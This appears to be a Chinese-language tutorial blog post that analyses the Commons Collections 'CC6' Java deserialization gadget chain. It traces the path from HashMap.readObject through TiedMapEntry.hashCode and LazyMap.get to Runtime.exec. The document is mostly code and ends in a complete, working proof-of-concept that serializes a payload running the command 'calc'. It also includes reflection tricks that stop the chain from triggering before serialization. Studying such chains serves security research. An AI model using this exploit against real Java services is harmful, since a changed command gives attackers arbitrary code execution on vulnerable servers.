CC6链

CC6链

tips:cc6这条链是不受jdk版本限制的

cc6的入口换成了HashMapreadObject方法,这条链实际是要调用LazyMap的get方法,后面的部分就和ysoserial中的cc1后半链一样了

当时我们说URLDNS链中讲到了 HashMapreadObject方法,调用了hashCode方法,现在我们需要去找一个类,它的hashCode方法需要去调用LazyMapget方法

CC6攻击链分析

调用LazyMap.get

这里就是`TiedMapEntry`类(以下是该类的部分代码)

该类的hashCode方法调用了自身类的getValue方法,该方法中调用了map的get方法,该类的map和key参数都是可控的,map为LazyMap时,就会调用LazyMapget方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

剩下的部分都和cc1是相同的

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1, chainedTransformer);

现在我们需要一个构造TiedMapEntry类,由于它是public属性的,我们直接new就可以了

1
2
3
4
5
//其中将lazyMap放入他的map位置,因为上面说了,调用的是map的get方法
TiedMapEntry entry = new TiedMapEntry(lazyMap, 1)
//构造一个HashMap去存TiedMapEntry,调用key位置的hashcode方法
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, 2);

下面我会给出链子相关的源码,来简单看一下这条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// HashMap.readObject部分源码
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
// HashMap.hash源码
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// TiedMapEntry.hashCode源码
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

构造的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1, chainedTransformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, 1);

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, 2);

// serialize(map2);
unserialize("ser.bin");

}

最后调整

现在有一个问题就是,在put(entry,1)的时候,就已经触发了计算器

是因为在HashMap的put方法时,就已经触发了它的hash方法(部分代码rux)

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

我们现在回到URLDNS那个链的想法,先传入一个无用的东西,然后通过反射修改

1
2
3
4
5
6
7
// 前面将lazyMap中的一个值换为一个无用的值
Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer(1));
// 这里通过反射来修改回来
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

但是实际情况还是无法执行,我们跟进去看一下

这里实际上说,如果在map中没有这个key的话,就把他put进去,实际上确实是没有这个key的,所以它也确实put了一个东西进去

1
2
3
4
5
6
7
8
9
10
// 动态调试跟到这里
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里我们可以简单跟一下,在最后的LazyMap.get中put了一个键值对,这个key就是我们在构造TiedMapEntry时所传入的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// CC6.java
map2.put(entry, "qwe");
// HashMap.put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
// HashMap.hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// LazyMap.get
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里也很简单,只需要把put进去lazyMap的remove掉不就好了吗(最终poc如下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer(1));

TiedMapEntry entry = new TiedMapEntry(lazyMap, "abc");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, "qwe");
lazyMap.remove("abc");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);


serialize(map2);
unserialize("ser.bin");

}